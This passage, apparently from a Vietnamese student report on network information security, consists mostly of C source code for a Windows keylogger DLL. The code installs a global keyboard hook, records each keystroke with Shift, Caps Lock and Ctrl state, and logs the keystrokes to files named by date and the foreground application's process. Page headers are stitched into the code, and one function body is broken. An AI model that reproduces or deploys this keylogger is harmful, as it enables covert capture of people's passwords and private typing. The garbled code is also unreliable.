if (keycode->vkCode == VK_UP) WriteStringToFile("{Up}");
if (keycode->vkCode == VK_DOWN) WriteStringToFile("{Down}");
else if (ToAscii(keycode->vkCode,
keycode->scanCode,
keyState,
&w,
keycode->flags) == 1)
{

SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
23


Báo Cáo An Toàn Thông Tin Mạng
char key = (char)w;
if ((isDownCapslock ^ isDownShift) && ((key >= 65 && key <= 90) || (key >= 97 &&
key <= 122 )))
{
key = toupper(key);
}
if (isDownCtrl) {
char str[100];
sprintf(str,"{Ctrl - %c}",(char)keycode->vkCode);
WriteStringToFile(str);}

else {
char str[100];
sprintf(str,"%c",key);
WriteStringToFile(str);}
}
}
return CallNextHookEx( hGlobalHook, nCode, wParam, lParam );
}
void SetGlobalHook(HHOOK hHook)
{
hGlobalHook = hHook;
}
char* GetExecutor( DWORD processID )
{
HMODULE hMods[1024];
HANDLE hProcess;
DWORD cbNeeded;
unsigned int i;
char* result = (char*)malloc( 1000 );;
// Get a handle to the process.
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, processID );
if (NULL == hProcess)
return "";
// Get a list of all the modules in this process.
if( EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded))
{
for ( i = 0; i < (cbNeeded / sizeof(HMODULE)); i++ )
{

TCHAR szModName[MAX_PATH];
// Get the full path to the module's file.
if ( GetModuleBaseName( hProcess, hMods[i], szModName,
sizeof(szModName) / sizeof(TCHAR)))
{
// Print the module name and handle value.
TCHAR* prcName = szModName;
wcstombs( result, szModName, 1000 );
}
break;
}

}

SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
24


Báo Cáo An Toàn Thông Tin Mạng
// Release the handle to the process.
CloseHandle( hProcess );
return result;
}
void WriteStringToFile(char* txt)
{
// File name by Time and App
// Curren Time
SYSTEMTIME st;
GetLocalTime(&st);
// Current App

HWND curhwndWindow = GetForegroundWindow(); //lay dia chi cua so dang dung
DWORD processID;
GetWindowThreadProcessId(curhwndWindow, &processID);
char str[100];
sprintf(str,"d:\\key-%d_%d_%d-%s.txt",st.wYear,st.wMonth,st.wDay,
GetExecutor(processID));

}

out=fopen(str,"a");
fprintf(out,"%s",txt);
fclose(out);

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4

25


×